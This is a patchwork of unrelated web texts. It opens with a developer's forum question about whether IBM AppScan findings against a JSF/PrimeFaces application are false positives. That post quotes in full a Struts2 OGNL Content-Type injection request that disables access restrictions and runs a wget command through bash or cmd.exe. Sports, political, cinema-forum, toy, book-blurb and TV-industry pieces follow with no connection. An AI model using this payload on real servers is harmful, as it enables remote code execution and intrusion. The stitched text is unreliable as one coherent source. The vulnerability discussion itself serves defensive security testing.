Fix: Upgrade to the latest version of Apache Struts
GET /**/main.xhtml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: %{(#_='multipart/formdata').(#
dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#conta
iner=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstanc
e(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#o
gnlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget
http://**:**/AppScanMsg.html?varId=5899').(#iswin=(@java.lang.System@getProperty('o
s.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#c
md})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.
apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUt
ils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Seems like response is HTTP/1.1 200 OK  which AppScan  believes is a vulnerability
We were told we should check the Content-Type of request header. I have not come across any such in any of past DSAT. Has anyone done something like this before in JSF?
1.High -- Apache Struts2 REST Plugin XStream Remote Code Execution
POST /**/javax.faces.resource/charts/charts.css.xhtml?ln=primefaces&v=7.0.9 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: application/xml
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Seems like response is HTTP/1.1 200 OK  which AppScan  believes is a vulnerability
Our web.xml has the error pages defined , client side state saving
<error-page>
        <error-code>404</error-code>
        <location>/error/404.xhtml</location>
    </error-page>
    <error-page>
        <error-code>500</error-code>
        <exception-type>java.lang.RuntimeException</exception-type>
        <location>/error/access.xhtml</location>
    </error-page>
    <error-page>
        <location>/error/error.xhtml</location>
    </error-page>

    <context-param>
        <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
        <param-value>client</param-value>
    </context-param>

Anyone who has seen similar issue from DSAT ? Could some of these be false positive? Looking for feedback and some insight.
Other Issue

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*IBM AppScan - Blind SQL Injection (Time Based) - JSF 2.2 & Primefaces - JBOSS 7.2 EAP

*IBM AppScan - Java Deserialization Code Execution - JSF 2.2 & Primefaces - JBOSS 7.2 EAP

*IBM AppScan - Port Listener Command Injection - JSF 2.2 & Primefaces - JBOSS 7.2 EAP

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Home NBA Los Angeles Lakers Keep Losing, Kobe Bryant Won't Stop Shooting (and Missing)
Los Angeles Lakers Keep Losing, Kobe Bryant Won't Stop Shooting (and Missing)
The Los Angeles Lakers might win a game or two here and there, but overall, the purpose of this season is split into two: Keep Kobe Bryant happy as he tries to solidify the worst shooting season in modern NBA history and lose as much as possible so they keep a draft pick from escaping them to the Philadelphia 76ers.
They're doing fine so far, keeping the right kind of pace for both set goals in a 100-87 loss to the Atlanta Hawks. It drops the Lakers to 3-16 this season, allowing easy points for the Hawks with that horrendous defense of theirs and scoring just 8 points on fast breaks. How can you when Bryant is playing for 35 minutes, and has a usage ratio that's not far from 40% higher than the next player on the list, Lou Williams so far this season? He led the Lakers in that category again in this game, just above D'Angelo Russell, who does some nice things when he's able of holding on to the ball (7 turnovers).
Bryant didn't let the 31 point performance in Washington have any effect on him. He went back to missing like there's no tomorrow, scoring 14 points on 4-of-19 from the field, including two 3-pointers. Bryant took just one shot from inside the paint. It's quite incredible to see him talk about certain things and then perform something entirely different during game time. He's actually changed since officially announcing his retirement: He no longer promises things he cannot keep.
Anything good for the Lakers to go on? Russell scoring 16 points? OK. Clarkson finishing with 13 in 29 minutes while shooting 5-of-8 from the field? Lou Williams scoring 18 points? Maybe, although it doesn't matter. He has nothing to do with the franchise's future. A franchise on hiatus until a certain someone decides it's enough for him. Byron Scott crosses his arms and thinks about how he's going to pay Bryant compliments while blaming the bad things on the rest. It's not a difficult job being a tank commander on the Lakers. Scott is the perfect fall guy to enable Bryant, who played 35 minutes and looks fresh as a daisy knowing he's allowed to do anything he wants, even if he's terrible at it.
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"The only defense is a good offense," said Republican Catherine Templeton after officially kicking off her campaign for S.C. governor in Greenville.
Saying "the only defense is a good offense," Republican candidate for governor Catherine Templeton said Monday she supports arming teachers as part of an effort to improve school safety.
Templeton responded to a question about school security in an interview after she officially kicked off her campaign Monday morning in Greenville.
"It is such a complex issue between mental health, between shoring up the infrastructure in our schools to make them safer, whether it is metal detectors or bullet-proof glass," she said. "Most immediately, I think the school resource officers, law enforcement and any teacher if they want to be trained should be armed to protect our children."
School security has become a hot topic in the state and throughout the nation since a gunman killed 17 people at Marjory Stoneman Douglas High School in Parkland, Florida, on Feb. 14. Authorities in the Upstate have responded to a number of threats and perceived threats of violence at Upstate schools.
Templeton, an attorney from Charleson, is among four Republicans who are challenging incumbent Gov. Henry McMaster in the June 12 GOP primary. The other Republican candidates include Lt. Gov. Kevin Bryant of Anderson, Greenville businessman John Warren and former Lt. Gov. Yancey McGill. Three Democrats — Charleston consultant Phil Noble, state Rep. James Smith and Greenville native Marguerite Willis — also are running for governor.
Speaking in Anderson last week, Bryant talked about legislation that he sponsored before becoming lieutenant governor last year that would allow school districts to consider arming teachers and other school employees.
McMaster said last week that he would sign a bill to arm teachers in schools.
Warren also signaled his support for arming teachers in an email statement issued by his campaign Monday morning.
"Allowing properly trained teachers and school staff, particularly former law enforcement and military who work in schools, to carry firearms is an important step towards keeping our kids safe," said the statement from Warren's campaign manager, Taylor Hall. "In addition, we need an armed law enforcement officer on duty at every school in South Carolina."
Templeton's visit to her newly opened Upstate campaign office in Greenville was the first of four stops that she planned to make during a whirlwind tour of the state Monday. She also was scheduled to hold a telephone town-hall meeting with voters Monday night.
Standing with her husband, three children and about two dozen supporters in Greenville, Templeton used an electric saw to cut a ribbon in her campaign office in the Green Gate Office Park on Woods Lake Road.
"I took a buzz-saw to government" while leading two state agencies under former Gov. Nikki Haley, Templeton said.
The 47-year-old is seeking elected office for the first time.
She said the state is plagued by government corruption, crumbling roads and poorly performing public schools.
In previous Upstate campaign stops she's pledged to protect Confederate monuments in the face of movements to tear them down.
"We are going in the wrong direction," Templeton said. "I want to do something about it."
She said she wants to cut income taxes in the state.
At this point in the race, McMaster's campaign views Templeton as his chief rival for the Republican nomination. She raked in more than $2.7 million in political contributions last year. Templeton ended 2017 with about $2.3 million in campaign cash on hand, compared to nearly $2.6 million for McMaster.
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The two Upstate Republicans running for governor, Bryant and Warren, responded Monday to Templeton's remarks.
"We've been in the conservative trenches since 1997," Bryant said "I'm glad to hear they're on the team."
Like Templeton, Warren is portraying himself as a conservative outsider. A Marine veteran, he founded a specialty mortgage finance company called Lima One Capital.
"In contrast to other candidates, John is not a career politician or government insider," Hall said in his email Monday.


Cinematour Forum: AMC Montebello 10 to get seating renovation; theatre general remodel, this Summer?
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" riser; " quote: "bleacher," end quote;; style seating this Summer?
And I'm assuimng a general remodel/rennovation, refreshing all around the theatre as well.
I just Google this topic, and came across this interesting little tidbit site.
I10.mobi -- I tried to put in a Link but it won't allow it.
So PLEASE! just google simple terms amc montebello (10) remodel / renovation.
?? 1. Jeff or anyone else hear anything??
I searched and didn't find anything. Sorry.
1) theater will celebrate its 20th anniversary in november. A general remodel would be nice.
2) theater will not be able to dig down into the ground. The theater is on a membrane that keeps the dump from coming up. I remember a warning sign inside the electrical room upstairs in the booth.
This theater still does good business (although recently its been really empty due to the Paramount bridge closure). Since the bridge wont be open till June, a remodel now would be a good idea. Im sure they could close an auditorium or two at a time.
Thanks as always for your knowledge and help Jeff.
1. Do you know when the "soon" to be expired Lease on AMC Montebello 10, will actually occur?
2. What's your opinion on if they should close this theater or not?
3. And if you don't mind me asking, have you heard anything about AMC Covina "30" (now like 17 auditoriums), plan??,, to close in the future?
Theater celebrates its 20th anniversary in November, so the lease I think ends in October. So if it does close, this would be its last summer.
As for Covina, I have no clue. The south hall (aud 18-30) was the one closed. I havent been there in a long time so I have no clue about the future of the theater. I still hear rumors of the West Covina Edwards closing as well since they are slower than the AMC.
I still think Montebello is still viable. It does business on the weekend still, and with Monterey Park splitting the product, it still has full bookings. If AMC was to drop it, I can easily see Regency swooping in and keeping it open.
AMC Fullerton 20 is another one with a questionable future. The theatre will hit it's 25th anniversary this year (or it's 25th, 20th, & 15th, depending on how you view it). The theatre still does respectable business, but one has to question if it does enough to warrant the needed expenses of digital upgrades and an annual sprucing up. They used to place a significant investment in the theatre every five years (expansions to remodels). However, they seem to have been lagging on remodels and upgrades in recent years and there are no signs they are planning to do anything this year, yet. Even the two adjoining retail units they used to rent out have sat vacant for quite some time now. Aging property (half of which is "outdated"), lack of recent investments, and the looming need to upgrade twenty screens to digital; all sounds like a theatre they are second guessing.
Now that operators are basically required to convert to digital, I would expect there to be a lot of sites closing over the next few years. I'm sure all operators are currently going through theatre rosters and reevaluating the viability of their holdings. However, unlike the last transition (slope seating/multiplex to stadium seating/megaplex), this time will involve some much more substantial venues, via the multitude of early generation megaplexes out there.
Is converting older/lagging sites to digital really a burden for AMC and Regal? They can just cycle the projectors over to new builds as the old ones close, being that the current Sony 4k seems like it will be their model for some time to come.
I believe that they converted montebello to all digital from what I heard.
Even equipment reassignment involves the costs of removing, shipping, and installing. In the case of a twenty screen theatre, it's going to be a hefty investment, no matter what corners are cut. The big question is if they believe that investment will be worth the return. So far, it looks like AMC doesn't think so with the Fullerton 20.
With the Fullerton 20, there is not only the digital question, but the dated inefficiency of twenty screens (divided in to two building no less) and the facility's overall state (especially the original 8/10 side). Ideally, I would think the 87' side should be converted to a fork & screen, with the 97' side remaining a traditional theatre, creating a "destination" entertainment complex. However, that would involve a big commitment. I'm just not sure if they value the location that much these days.


Woodworking artisans John and Jane Greenberg Kostick '88 have created Tetraxis, a magnetic geometry puzzle for all ages.
The Kosticks' son James plays with the Tetraxis® toy.
Inviting the inner child to re-emerge for playtime, the colorful displays at Toy Fair 2011 in New York enticed industry professionals to play hide-and-seek on three expansive floors.
During mid-February, toy creators and merchants at the Jacob Javits Convention Center dazzled potential buyers with eye-catching gimmicks—from an inflatable remote-controlled flying fish to a shiny red, miniature piano and an oversized lego-constructed car. In a basement-floor booth, John and Jane Kostick encouraged visitors to play with their magnetic Tetraxis geometry puzzle.
"If you put the pieces together in less than one minute, you'll win a free one," Jane said to Tom Cutrofello, mechanical puzzle correspondent for Games Magazine.
Twelve identically shaped sticks, in four colors, magnetically connect in the Kosticks' hands-on learning puzzle, which enhances the exploration of symmetry and color combinations. The toy increases spatial understanding; problem-solving skills; intellectual and manual dexterity; and intergenerational, interoffice, and intercommunity connections.
On the first day of the fair, the crowd around the Kosticks' table cheered Cutrofello and others, who claimed their prizes after solving the puzzle. Some recalled solving other math-based puzzles and used that experience to handle the Tetraxis challenge.
"That's a fun toy, especially when you get the method down," says Jon Goehring, who runs Toyworks in Santa Rosa, Calif., with Cristi Ronchelli.
The Tetraxis design, first crafted as bronze and wooden sculptures, is just one of the geometric constructions that the Kosticks have created. Their customized furniture, cabinetry, and garden accessories are also based on geometric configurations.
Designers and woodworking craftsmen with an interest in mathematics, the Kosticks officially launched their new company, KO Sticks LLC, in August 2010. A pilot run of 2,000 toys, in the fall, quickly sold out. The next production in Xiamen, China, delivered the second batch in March for distribution in Switzerland and Australia, where the puzzle was displayed at another toy fair. A small community of artists, primarily furniture makers who work in cooperative studios in an old industrial building—where the Kosticks are based in Medford, Mass.—offered input on the package design.
Some game players have even completed the puzzle blindfolded.


What role did the courts play in the demise of Germany's first democracy and Hitler's rise to power? Courtroom to Revolutionary Stage challenges the orthodox interpretation of Weimar political justice. Henning Grunwald argues that an exclusive focus on reactionary judges and a preoccupation with number-crunching verdicts has obscured precisely that aspect of trials most fascinating to contemporary observers: their drama. Drawing on untapped sources and material previously inaccessible in English, Grunwald shows how an innovative group of party lawyers transformed dry legal proceedings into spectacular ideological clashes. Supported by powerful party legal offices (which have hitherto escaped scholarly notice almost entirely), they developed a sophisticated repertoire of techniques at the intersection of criminal law, politics, and public relations. Harnessing the emotional appeal of tens of thousands of trials, Communists and (emulating them) National Socialists institutionalized party legal aid in order to build their ideological communities. Defendants turned into martyrs, trials into performances of ideological self-sacrifice, and the courtroom into 'revolutionary stage', as one prominent party lawyer put it. It is this political justice as 'revolutionary stage' that most powerfully impacted Weimar political culture. While it helps to explain Weimar's demise, this argument about the theatricality of justice transcends interwar Germany. Trials were compelling not because they offered instruction about the revolutionary struggle, but because in a sense they were the revolutionary struggle. The ideological struggle, their message ran, left no room for fairness, no possibility of a 'neutral platform': justice was unattainable until the Republic was destroyed.


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The Evolving Future of Television
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Published on Sep 11, 2013 in Issue 125 - September 2013, Information Technology, Investments
Most Baby Boomers can remember when television consisted of three big networks and a handful of local channels. TV was free, but it was also extremely limited in terms of content, choice, and convenience. Generation X grew up with an increasing number of channels as cable, satellite, and eventually telcos entered the market with pay-TV models. Today, the Millennials are coming of age just as TV is going through another upheaval as premium viewing migrates to the Internet. Let's examine where this medium is now, and where it is headed.
According to research by Needham Insights' Laura Martin, one of the world's leading entertainment and Internet analysts, the biggest players in the premium online video (POV) ecosystem are YouTube, Hulu, Netflix, AOL, and Yahoo. Combined, they will spend about $750 million to produce "Internet-first" TV series in 2013.1
That is just a fraction of the $45 billion that traditional network and cable channels will spend on programming in 2013. In fact, the increase in spending in the traditional TV ecosystem from 2012 to 2013 is $1.5 billion, which is twice the total spending for premium online video content in 2013.
Just as premium online video content lags far behind TV, so does the amount spent on advertising in that ecosystem. Television generates $77 billion in annual advertising revenue, while POV advertising reached a mere $4 billion in 2012.
However, as the POV market grows, it will threaten many incumbents, because the economics of today's TV ecosystem depend on bundling content. Bundling makes sense for current providers for several reasons:
The relatively few hit shows subsidize all of the nonhits. Only 10 to 20 percent of TV producers' costs are tied to hit shows; the other 80 to 90 percent of costs are spent on programs that attract fewer viewers and make essentially no money. Yet, those shows with lower ratings give viewers more choices and a better viewing experience.
Since the hit shows subsidize the nonhits, the content producers can stay in business even if they try new ideas that fail. Just as a diversified stock portfolio reduces risk, production companies can create a diverse portfolio of sitcoms, dramas, and reality shows, knowing that the profits from one or two ratings winners will offset all of the losers.
Hit shows help viewers discover other shows. When a new show follows a top-rated show on the schedule, it often builds a following simply because, thanks to inertia, viewers find it easier to keep watching the same channel. That was the formula NBC followed for more than a decade with its "Must-See TV" block of programs on Thursday nights, including Friends, Seinfeld, and Frasier...
On-Demand Internet Video and the Future of Television
The Evolving Future of the Automobile Industry
Evolving Computer Interfaces
The Online Video Stampede
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